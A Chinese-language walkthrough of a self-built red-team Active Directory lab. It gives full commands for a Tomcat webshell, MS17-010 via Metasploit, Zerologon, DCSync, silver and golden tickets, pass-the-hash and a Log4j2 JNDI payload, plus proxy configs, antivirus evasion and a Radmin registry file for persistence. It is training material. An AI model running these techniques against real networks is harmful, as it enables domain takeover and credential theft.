文章目录
- 开篇介绍
- 靶场介绍
- 靶场下载以及配置
- Tomcat Get Shell
- 突破DMZ防火墙
- 拿下域内成员机器
- 将内网机器上线到CS
- 使用Adfind侦察子域信息
- 控制子域DC
- Radmin登录子域进行权限维持(白银票据/ACL)
- 子域bloodhound获取父域信息分析
- 子域Krbtgt密钥创建跨域金票Dcsync父域
- PTH父域DC准备打靶
- log4j2拿下靶标
- 总结
开篇介绍
大家好这里是虚构之人的红队内网靶场的第一个靶场,笔者发现网上的内网靶场不管是国外的HTB AD 101
系列还是国内的红队内网靶场跟实战的环境下有这较大的差距因此很多同学就算练习完这些靶场也无法对
真实场景下渗透有自己的方法论,往往面试红队的时候缺少完整的渗透过程而很是尴尬,笔者打算开始做飞鸟
红队内网靶场系列,来让各位同学拥有至少是完整的渗透过程经验,这里不仅有完整的靶场也有完整的打法
过程可以学习,后续会陆续推出红队内网靶场以及安全运营相关靶场感兴趣的小伙伴可以关注下。
靶场介绍
这里笔者做的靶场是内网跨域靶场需要各位读者通过Web进行GetShell突破DMZ然后
拿到子域权限跨域到父域拿下父域DC后找到父域下不入域机器Web GetShell靶标文件。
配置要求:
最低要求是6核心CPU/32G内存整个靶场解压后有130G左右。
主要涉及如下知识点:
Tomcat 任意文件写入漏洞,log4j2 JNDI注入漏洞,ms17-010,
NetLogon-1472,Krbtgt跨域金票,白银票据,ACL滥用。
使用的工具如下:
burpsuite,mimikatz,Cobalt Strike,Metasploit,Impacket,fscan,frp
JNDI exploit,nmap。
VM网卡配置以及网络规划
Vm网卡:
VMent6 192.168.66.0/255.255.255.0 攻击机/Web IP充当外部网络
VMent7 192.168.77.0/255.255.255.0 Web DMZ
VMent8 172.16.88.0/255.255.255.0 子域
VMent9 10.99.9.0/255.255.255.0 根域
网段:
192.168.66.1/24 充当外部网络
192.168.77.1/24 Web
172.16.88.1/24 子域
10.99.9.1/24 根域
Web DMZ防火墙(pfSense)
192.168.77.10 WEB DMZ网关
172.16.88.10 子域网关
Web DMZ机器:
192.168.77.110/192.168.66.110 Tomcat
域 DMZ防火墙:
172.16.88.2 子域网关
10.99.9.2 根域网关
子域:
172.16.88.100/10.99.9.88 DC
172.16.88.120 FZ_DC
172.16.88.121 Win10
172.16.88.122 Web发布机
根域:
10.99.9.100/172.16.88.10 DC
10.99.9.101 FZ_DC
10.99.9.205 靶标
网络规划图简述:
靶场下载以及配置
下载:
链接:https://pan.baidu.com/s/1YYj9jmBIuI49QvkFOS9uuQ
提取码:3606
配置信息:
Vm网卡:
VMent6 192.168.66.0/255.255.255.0 攻击机/Web IP充当外部网络
VMent7 192.168.77.0/255.255.255.0 Web DMZ
VMent8 172.16.88.0/255.255.255.0 子域
VMent9 10.99.9.0/255.255.255.0 根域
VMent10 10.99.100.0/255.255.255.0 靶标
网段:
192.168.66.1/24 充当外部网络
192.168.77.1/24 Web
172.16.88.1/24 子域
10.99.9.1/24 根域
Web DMZ防火墙(pfSense): 1_512MB
192.168.77.10 WEB DMZ Web Ip root/pfSense
172.16.88.10 子域IP
Web DMZ机器:
192.168.77.110/192.168.66.110 漏洞机器 Tomcat
域 DMZ防火墙:
172.16.88.2
10.99.9.2 网关Web IP admin/li.com@Pf
子域:
172.16.88.100/10.99.9.88 DC 2_2G
172.16.88.120 FZ_DC 2_2G
172.16.88.121 Win10 2_2G
172.16.88.122/Web DMZ网关用于突破隔离 Win7 2_1G
根域:
10.99.9.100/172.16.88.10 DC
10.99.9.101 FZ_DC
10.99.9.200 Win10
靶标:
10.99.100.201/10.99.9.210 WIN7 跳板机 双网卡机器
10.99.100.205 靶标
根域账户设置:
li.com域管
rootLi/Root@Admin123
li.com企业管理员:
LiRootAll/Root@All.li.com
禁用账户:
administrator
IT 组
IT_zhangsan/ZXangSXn@li.comZS
IT_xiaoming/XMing@li.comXM
入域账户:
LiRuyu/LRY.li.comlry
办公组(WorkingArea):
lizong/LZ@10001234
zhangzong/ZZg@96762
tiancheng/TCg@88855
xiaoli/XL@@123XXX
wangmang/WM@9999
子域账户设置:
tset.li.com子域域管
caixukun/CXK1234XX@NB
liangfeifan/LFF55555@NB
tset.li.com入域账户
test_li_ruyu/RYA@123
test.li.com普通账户组:
IT组(IT organize):
wangwu/WWNBNB123@com
lisi/Ls12345@com
办公组(WorkingArea):
zhangna/ZN@test.li.com
xiaona/XX@test.li.com
feifange/Ffg666@com
meilinna/MA@test.li.com
shifenzhe/SFZ.test.li.com
禁用账号:
administrator
Tomcat Get Shell
攻击机(linux)192.168.66.130
攻击机(windows)192.168.66.129
这里笔者的环境是两台电脑配置VMent6网卡充当外部网络,有能力的小伙伴也可以直接自己
搭建到真实的外部网络上,这个靶场内默认的登录账户是admin/admin小伙伴们也可以自行设置。
首先是进行信息收集目前只是指定192.168.66.110这个IP,下面开始进行信息收集。
使用nmap扫描发现开放了80/3389/445/135等端口,发现80端口是Tomcat服务
尝试使用Tomcat任意文件上传漏洞看看能不能拿到WebShell。
写入哥斯拉WebShell。
使用CS Powershell一句话上线到CS进行操作。
这里CS使用的是LSTAR插件下载地址:https://github.com/lintstar/LSTAR
这里我上传了fscan对192.168.77.10进行扫描,因为目标存在360因此需要对fscan进行免杀,我的做法是使用我之前
写的PengCode安全工具将fscan转换为ShellCode将其加密后放入ATL框架中的函数内,因为是函数内的BYTE数组所以
没有编译在data节中编译器将压入栈中因此更加隐蔽,对免杀和逆向感兴趣的小伙伴可以给我留下言人多的话我会专门
出系列文章。
fscan扫描命令这里跳过了存活和web poc:
fscan.exe -h 192.168.77.10 -np -no -nopoc
发现了WebTitle信息是pfSense防火墙的登录,下面使用frp做隧道代理看看能不能拿下防火墙。
下面是frpc配置提前配置了多级代理用于穿透内网:
frps这里我是部署在Tomcat上的没有部署在公网VPS上如果是真实环境的话需要一台公网VPS部署,不建议
直接部署在Tomcat的WebShell机器上,因为你不确定正向连接端口是否会放开。
突破DMZ防火墙
上面通过frp代理成功访问到pfsense防火墙,pfsense防火墙是有漏洞可以打的,pfsense是属于软件防火墙
是可以进行配置修改绕过使得WebShell机器可以突破DMZ的,如果遇到的是网闸这种硬件型的那就比较难搞,
记住一句话没有绝对安全系统,一定存在一个路径是可以拿到靶标的只是你现在还不知道嘿嘿嘿奥里给干了兄弟们。
这里咱们直接尝试pfsense防火墙的默认账户密码"admin/pfsense".
登录成功之后咱们看一下接口对网络架构有个基本的了解。
可以看到有192段和172段两个接口,也就是说咱们的Tomcat服务器是可以访问172段的但是设置了DMZ规则导致不能
访问172段,现在咱们看一下规则配置是不是这样。
可以看到规则就是Tomcat的192段属于DMZ不能主动访问172段而172段可以访问192段,咱们把DMZ规则下掉然后
扫描172.16.88.1/24看看会有什么发现。
拿下域内成员机器
Tomcat通过之前的nmap扫描发现是开放了3389端口,这里为了方便使用mimiktaz抓取本机账户密码登录3389,
如果是是实际场景的话该操作可能会触发登录告警因此不推荐这种方式可以使用todesk或者其他远控进行登录。
登录成功发现确实是360直接退掉杀软。
使用fscan扫描172.16.88.1/24,如果是真实场景的红蓝对抗中不建议使用fscan进行大规模扫描因为会打出成吨的告警,
很容易被防守方发现尽量还是要用常规的方式进行横向比如SSH/浏览器账户密码等
使用msf尝试ms17-010攻击命令:
setg Proxies socks5:192.168.66.110:8055
setg ReverseAllowProxy true
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.16.88.122
run
进入shell meterpreter > shell,发现目标机器在域内,看起来是在子域test.li.com
查询域信任关系:nltest.exe /domain_trusts
可以看到test.li.com的父域是li.com且没有其他子域信息,下面查询下域控DC。
net group "Domain Controllers" /domain
查询域管:net group "domain admins" /domain
查询是否存在域管进程:tasklist /v
看起来似乎没有域管进程,ms17-010的shell是System权限可以注入到域管进程进行Dcsync操作。
将内网机器上线到CS
通过ms17-010打下了一台域内机器,现在使用CS的Pivoting下Listener来生成上线Beacon,
需要注意的是Tomcat是双网卡机器所以Listen Host要填写为内网IP默认双网卡机器CS的
是上线IP也就是外网Ip稍微注意下就行。
meterpreter upload上传Beacon文件
上传成功进入shell上线Beacon文件。
使用Adfind侦察子域信息
咱们成功上线到了CS先看下有没有杀软:
wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName,productState,pathToSignedProductExe | findstr /V /B /C:displayName || echo No Antivirus installed
发现没有杀软直接使用mimikatz抓下ntlm hash。
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 787066 bytes
[+] received output:
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2023/4/10 23:37:43
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN7-TEST-LI$
Domain : TEST
Logon Server : (null)
Logon Time : 2023/4/10 23:37:43
SID : S-1-5-20
msv :
[00000003] Primary
* Username : WIN7-TEST-LI$
* Domain : TEST
* NTLM : 689828102235cee6f7480323ede6811c
* SHA1 : 4aeae8aee6f5cd3e21759027321071930b539e70
tspkg :
wdigest :
* Username : WIN7-TEST-LI$
* Domain : TEST
* Password : <r'gawWqKlXM8_/HsF"t%-le!Yvv%U<*5g^sKo?=Ev-@0j=\+D=im63(J8qoTmDU/yyU=qX5<qIQcy0XplkIM\M@:&7uu>9*O^5!- :"iGfl<>gbG`5Q$"h9
kerberos :
* Username : win7-test-li$
* Domain : TEST.LI.COM
* Password : <r'gawWqKlXM8_/HsF"t%-le!Yvv%U<*5g^sKo?=Ev-@0j=\+D=im63(J8qoTmDU/yyU=qX5<qIQcy0XplkIM\M@:&7uu>9*O^5!- :"iGfl<>gbG`5Q$"h9
ssp :
credman :
Authentication Id : 0 ; 47238 (00000000:0000b886)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2023/4/10 23:37:43
SID :
msv :
[00000003] Primary
* Username : WIN7-TEST-LI$
* Domain : TEST
* NTLM : 689828102235cee6f7480323ede6811c
* SHA1 : 4aeae8aee6f5cd3e21759027321071930b539e70
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN7-TEST-LI$
Domain : TEST
Logon Server : (null)
Logon Time : 2023/4/10 23:37:43
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WIN7-TEST-LI$
* Domain : TEST
* Password : <r'gawWqKlXM8_/HsF"t%-le!Yvv%U<*5g^sKo?=Ev-@0j=\+D=im63(J8qoTmDU/yyU=qX5<qIQcy0XplkIM\M@:&7uu>9*O^5!- :"iGfl<>gbG`5Q$"h9
kerberos :
* Username : win7-test-li$
* Domain : TEST.LI.COM
* Password : <r'gawWqKlXM8_/HsF"t%-le!Yvv%U<*5g^sKo?=Ev-@0j=\+D=im63(J8qoTmDU/yyU=qX5<qIQcy0XplkIM\M@:&7uu>9*O^5!- :"iGfl<>gbG`5Q$"h9
ssp :
credman :
可以看到没有抓到域用户账户只抓到自身的机器账户,使用CS查看进程也没有发现域账户进程下面使用Adfind侦察下域信息。
先用Adfind查询下域信任关系因为当前没有域账户需要用机器账户查询ms17-010正好是System权限可以使用机器账户查询
ldap信息,如果是本地管理员的话是无法查询需要提权到System权限。
Adfind.exe -f objectclass=trusteddomain -dn
可以看到父域是li.com只有一个子域,这里在查询下域内机器信息。
Adfind.exe -schema -s base objectversion
可以看到子域有两台2016一台WIN7一台WIN10,2016就是之前查询到的域控机器。
因为当前只拿到了WIN7的机器账户查询下WIN7机器账户的委派看看有没有可以利用的。
Adfind查询机器账户非约束委派:
Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
Adfind查询机器账户约束委派:
Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
Adfind查询机器账户基于资源约束委派:
Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToAct OnBehalfOfotherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
Adfind查询服务账户基于资源约束委派:
Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToAct OnBehalfOfotherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
查询下SPN看看有啥有价值的没。
上面查询委派发现并咱们现在控制的机器账户并没有设置委派,现在有两个思路一个打印机委派打法一个是域
CVE打法,第一种是打印机bug+NtlmRelay+基于资源约束委派,将辅助DC的Ldap进行Relay到主DC修改辅助DC的
msDS-AllowedToActOnBehalfOfOtherIdentity属性的SID为WIN7机器账户进行请求辅助DC的cifs的TGS票据登录
辅助DC控制子域,第二种是利用各种域内CVE如1472/4482/Windows Print Spooler/等漏洞进行攻击DC,这里我才使
用第二种打法直接试下1472(不是我懒-。-)。
控制子域DC
现在目前掌握的域内权限只有一台WIN7的机器账户,根据上面的分析现在采用第二种打法直接尝试重置DC
机器账户为空看看能否成功后进行Dcsync控制子域。
mimikatz使用Zerologon:
target:域控IP
account:域控机器账号
lsadump::zerologon /target:172.16.88.120 /account:2016-TEST-LI-DC$ /poc
下面进行利用,需要注意的是向Zerologon这种NetlogonRPC算法漏洞会导致大量的请求安全设备会直接告警,
因此在决定使用此类以及被安全产品写规则的漏洞后要尽快横向到靶标并设置域权限维持。
lsadump::zerologon /target:172.16.88.120 /account:2016-TEST-LI-DC$ /exploit
因为默认域控机器账户具有Dcsync功能,这里直接重置为空了咱们直接进行Dcsync控制子域这里我直接上frp开启了二级代理,
方便我后续使用kali进行PTH操作,下面将frpc与frps上传到WIN7跳板机上开启下面是frpc与frps配置,上传frps是因为可能
出现三级代理的情况所以就直接上传了。
frpc.ini:
[common]
server_addr = 192.168.77.110
server_port = 7000
[socks5_172Socket]
type = tcp
plugin = socks5
remote_port = 9999
[socks5_172_DC_0]
type = tcp
local_ip = 127.0.0.1
local_port = 9001
remote_port = 1234
fprs.ini:
[common]
bind_port = 7000
使用Impacket下的secretsdump.py进行Dcsync操作。
python3 secretsdump.py '2016-TEST-LI-DC$@172.16.88.120' -no-pass
使用wmiexec和smbclient获取shell以及上传CS Beacon文件上线到CS。
proxychains python3 wmiexec.py administrator@172.16.88.120 -hashes 0:28168fb732f0fc371715a20026d83793
使用CS配置Privoting->Listener需要注意不要配置错IP.
使用wmiexec执行上线成功这里发现了个小意外172.16.88.120是辅助DC但是之前设置的是DC名称,主DC是
172.16.88.100,上线到CS的时候才发现的不知道各位小伙伴们发现了没有。
Radmin登录子域进行权限维持(白银票据/ACL)
在实战中为了防止被防守方发现后踢出权限可以做权限维持,域权限的维持这里我选择使用白银票据和WriteDACL
来做域权限维持,可以制作两台DC的cifs服务TGS白银票据来控制DC,在给一个低下权限账户或者自己创建一个低权限
账户配置一个对域的WriteDACL的权限,就算DC自身的服务账户都改了的情况下也能通过低权限账户的WriteDACL赋予
Dcsync权限重新制作白银票据来控制DC,当然你使用黄金票据来做域权限维持也是可以的,但是黄金票据申请TGT的时候
会在KDC留下日志如果防守方设备监控了KDC日志那么就有可能被溯源,但是白银票据只会在终端下留下日志因此也可以
制作除DC之外的白银票据之后进行PTT利用重新获取目标机器控制权,当然也有更隐秘的手段比如修改域控机器账户属性
做委派的域权限维持也是可以的,大家玩靶场的时候可以自行去做,这里为了添加修改权限ACE方便我直接使用Radmin登录
了,如果是实战的话小伙伴也可以用powerview+Rights-GUID的方式添加ACE。
这里我讲下为什么用Radmin登录,首先操作比较方便类似于像是3389那种方式直接登录而且可以自定义账户密码,第二
如果有安全产品的ACL规则开启RDP访问或者访问3389啥的可能会告警也可能直接防火墙屏蔽了3389啥的当然你可以本地
端口转发到其他端口也是可以的,如果在原本开放3389的情况下,你RDP上去可能会把别人挤掉会察觉也很危险的操作,
这里我主要还是方便,下面我给大家简单讲讲怎么使用Radmin吧。
下载:
https://www.radmin.com/download/
下载完成后的压缩包解压有两个文件如下:
上传成功之后大家可以用我的reg注册表文件注册这样被控端默认密码就是 SuShui/XuGouZhiRen
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin]
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0]
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server]
@=""
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters\NtUsers]
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters\Radmin Security]
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters\Radmin Security\1]
"1"=hex:10,00,00,0c,53,00,75,00,53,00,68,00,75,00,69,00,30,00,01,00,98,47,fc,\
7e,0f,89,1d,fd,5d,02,f1,9d,58,7d,8f,77,ae,c0,b9,80,d4,30,4b,01,13,b4,06,f2,\
3e,2c,ec,58,ca,fc,a0,4a,53,e3,6f,b6,8e,0c,3b,ff,92,cf,33,57,86,b0,db,e6,0d,\
fe,41,78,ef,2f,cd,2a,4d,d0,99,47,ff,d8,df,96,fd,0f,9e,29,81,a3,2d,a9,55,03,\
34,2e,ca,9f,08,06,2c,bd,d4,ac,2d,7c,df,81,0d,b4,db,96,db,70,10,22,66,26,1c,\
d3,f8,bd,d5,6a,10,2f,c6,ce,ed,bb,a5,ea,e9,9e,61,27,bd,d9,52,f7,a0,d1,8a,79,\
02,1c,88,1a,e6,3e,c4,b3,59,03,87,f5,48,59,8f,2c,b8,f9,0d,ea,36,fc,4f,80,c5,\
47,3f,db,6b,0c,6b,db,0f,db,af,46,01,f5,60,dd,14,91,67,ea,12,5d,b8,ad,34,fd,\
0f,d4,53,50,de,c7,2c,fb,3b,52,8b,a2,33,2d,60,91,ac,ea,89,df,d0,6c,9c,4d,18,\
f6,97,24,5b,d2,ac,92,78,b9,2b,fe,7d,ba,fa,a0,c4,3b,40,a7,1f,19,30,eb,c4,fd,\
24,c9,e5,a2,e5,a4,cc,f5,d7,f5,15,44,d7,0b,2b,ca,4a,f5,b8,d3,7b,37,9f,d7,74,\
0a,68,2f,40,00,00,01,05,50,00,00,20,b3,3b,b8,42,13,f4,d7,a8,9e,19,b5,e3,c5,\
57,9a,12,4e,6c,b0,8e,13,12,12,e2,e8,96,37,a4,65,a0,5a,07,60,00,01,00,7d,4a,\
01,ba,15,d5,27,a3,aa,8d,ca,f1,f9,f7,b0,c5,e7,79,47,c3,3a,26,28,33,47,7d,d9,\
7c,28,77,b8,ac,c5,5f,23,cd,90,a2,94,37,f8,64,f5,0c,08,f4,9e,ae,1c,b7,c5,c7,\
ea,7a,09,6b,c9,c7,c6,43,d1,0d,bc,d4,d0,02,c8,71,bc,f1,e5,c7,f7,3d,1e,fa,cf,\
6b,dd,c8,3f,7f,0e,56,7f,45,9a,51,a9,d6,23,43,c6,fd,1d,c8,70,8c,0a,f4,da,6b,\
b6,87,d0,35,82,cf,21,55,76,f4,95,69,df,9d,b8,0c,92,fc,c1,e6,c9,3b,8e,5d,30,\
6c,90,55,55,85,cb,69,17,14,76,2e,31,73,18,38,3a,0f,77,68,9b,a2,d3,7e,02,2a,\
9d,8e,5e,1b,41,0b,36,6d,9e,9d,da,cc,fc,79,19,3e,4c,7e,60,67,56,67,22,6f,3b,\
c8,cf,c6,38,2b,34,fb,bf,3e,97,92,a8,b8,b4,e1,92,92,6e,01,b0,2e,97,b5,16,ff,\
60,e1,e6,73,9d,72,d7,34,a2,48,93,55,35,f0,fe,71,c4,66,c3,a0,7a,6e,9a,7d,08,\
a8,b1,0f,c9,6b,ba,76,74,d3,31,b4,90,00,9d,48,60,61,46,60,17,9f,3a,e5,9e,cc,\
40,ec,72,eb,20,00,00,04,ff,01,00,00
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Shared]
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Shared\Parameters]
@=""
"AutoSelectLangId"=hex:01,00,00,00
"LangId"=hex:00,00,00,00
保存为xxx.reg之后上传到被控端执行如下命令添加该注册表文件:
方式1
regedit /s xxx.reg
方式2(CS)
shell C:\Windows\SysWOW64\regedit.exe /s C:\Users\Public\222.reg
这样被控端的账户密码就是SuShui/XuGouZhiRen
大家也可以直接导出
需要注意要用System权限进行安装,用户权限静默可能安装失败。
这里咱们之前Dcsync的时候以及拿到机器账户Hash,所以可以直接制作白银票据下面是命令需要的时候可以做下进行PTT。
2016-TEST-LI-DC$ 31d6cfe0d16ae931b73c59d7e0c089c0
2016-TEST-LI-FZ$ 67a2b758f11b8e19609405d3eb1f5eee
python3 ticketer.py -domain-sid S-1-5-21-1554304197-1510085637-3326330895 -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 -spn cifs/2016-TEST-LI-DC.test.li.com -domain test.li.com administrator
下面给lisi普通域账户做下WriteDACL的ACL后门。
子域bloodhound获取父域信息分析
现在对根域的域情况不是很清楚下面要进行信息收集使用bloodhound分析根域后进行跨域攻击。
SharpHound.exe -d li.com
子域Krbtgt密钥创建跨域金票Dcsync父域
上面咱们拿到了子域DC控制权正常攻防来说都是要进步信息收集找到靶标的,但是这里因为靶场是我搭建的所以我就知道
靶标是在父域下面其实这里咱们是可以访问父域资源的我这里还是跨域攻击然后在横向到靶标这种方式来(不是刷路径分-.-),
当然小伙伴们也可以根据自己的打法来玩。
Krbtgt跨域金票需要关闭SID过滤的情况下才行当然默认只有林中才会开启SID过滤。
利用步骤:
1.使用mimikatz伪造新PAC为根域的Enterprise Admins(企业管理员组),并创建跨域黄金票据。
2.将创建好的跨域票据进行Dcsync或者,PTT(传递票据)申请根域cifs服务的TGS票据。
利用步骤1:
使用Adfind查询下企业管理员组SID:
Adfind.exe -b "CN=Enterprise Admins,CN=Users,DC=li,DC=com" objectSid
mimikatz创建跨域金票:
清除当前票据
kerberos::purge
注入跨域金票参数说明:
sids:Enterprise Admins(企业管理员组)SID
sid:当前域SID
domain:当前域名
krbtgt:NTLM Hash
ptt:将票据注入当前内存
kerberos::golden /user:administrator /sids:S-1-5-21-1219037115-404033701-4288556313-519 /sid:S-1-5-21-1554304197-1510085637-3326330895 /domain:test.li.com /krbtgt:91a07429bd05b231d1d19392bdf7a7a3 /ptt
当然跨域攻击的方式有很多比如在可以访问父域的情况下你直接打Zerologon重置父域DC机器账户密码为空,或者
打印机BUG/PetitPotam+非约束委派进行跨域攻击也可以,因为域控默认就具有非约束为委派,或者使用域间信任
密钥进行跨域利用均可,具体是使用那种方式需要根据实战场景来做的。
PTH父域DC准备打靶
这里也为后续能够访问靶标做准备,咱们用frp做下3级代理上线到CS。
wmiexec登录到父域DC后上传fscan找找靶标进行信息收集。
这里看下10.99.9.205是不是咱们要找的靶标
log4j2拿下靶标
相信大家很眼熟是vulfcous下的log4j2靶场这就是咱们的靶标拿下这个的shell就是拿到靶标了,
废话不多说直接上开打。
JNDI利用工具下载:
https://github.com/Jeromeyoung/JNDIExploit-1
已经编译好的jar文件:
https://github.com/Mr-xn/JNDIExploit-1
支持的格式查看:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
这里父域没有java环境咱们将java-jre-8u172上传一个用/s做静默安装,我这里使用smbclient.py传输的
能快一些,如果使用CS上传非常慢,这也是在实战中很头疼的问题那就是装环境哈哈。
这里有点乱码可以在wmiexec加上-codec gbk解决乱码。
JNDI利用exp:
${jndi:ldap://10.99.9.101:7777/TomcatBypass/TomcatEcho}
成功拿到靶标:
总结
本靶场是红队内网跨域靶场第一弹下面几个跨域靶场会陆续加上vCenter/Kubernetes/gitlab/ADCS/exchange/等常见系统,
也会陆续做安全运营相关靶场从防守方视角反推红队攻击路径逆向分析木马IoC排查终端木马编写相关报告,如果大家对靶场
系列感兴趣的话欢迎关注。